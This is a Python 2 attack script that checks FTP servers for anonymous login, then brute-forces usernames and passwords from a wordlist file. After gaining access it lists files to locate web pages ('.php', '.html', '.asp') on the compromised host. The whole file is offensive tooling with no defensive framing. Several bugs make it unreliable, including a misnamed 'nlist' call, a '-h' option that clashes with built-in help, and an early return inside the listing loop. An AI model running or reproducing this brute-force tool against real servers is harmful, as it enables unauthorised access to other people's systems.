# -- coding: utf-8 -- 
# Name: ftp_use

import ftplib,optparse

def anonlogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous','me@your.com')
        print "\n {} ftp niming login success".format(str(hostname))
        ftp.quit()
        return True
    except Exception,e:
        print "\n {} ftp niming login faild".format(str(hostname))
        return False

def brutelogin(hostname,passwdffile):
    p = open(passwdffile,'r')
    for li in p.readlines():
        user = li.split(":")[0]
        p = li.split(":")[1].strip('\n')
        print "trying {}  {}".format(user,p)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(user,p)
            print "\n {} ftp login successed: {} {}".format(str(hostname),user,p)
            ftp.quit()
            return user,p
        except Exception,e:
            pass
    print "couldn`t brute force ftp"
    return None,None

def returndefault(ftp):
    try:
        dirlist = ftp.nlist()
    except:
        dirlist = []
        print "couldn`t list dict contents"
        print "skipping no next target"
        return
    retlist = []
    for filename in dirlist:
        fn = filename.lower()
        if ".php" in fn or ".html" in fn or ".asp" in fn:
            print "found default page: {}".format(filename)
            retlist.append(filename)
            return retlist




def main():
    parser = optparse.OptionParser('usage %prog -h <target host[s]> -f <passwd file> ')
    parser.add_option('-h', dest="thost", type='string', help='spcify target host')
    parser.add_option('-f', dest="passwdfile", type='string', help='spcify user/password file')
    options, args = parser.parse_args()
    thost = options.thost
    passwdfile = options.passwdfile
    if thost == None or passwdfile == None:
        print parser.usage
        exit(0)
    username = None
    password = None
    if anonlogin(thost) == True:
        username = ""
        password = ""
        ftp = ftplib.FTP(thost)
        ftp.login(username,password)
        returndefault(ftp)
    elif passwdfile != None:
        username,password = brutelogin(thost,passwdfile)
        ftp = ftplib.FTP(thost)
        ftp.login(username, password)
        returndefault(ftp)

main()
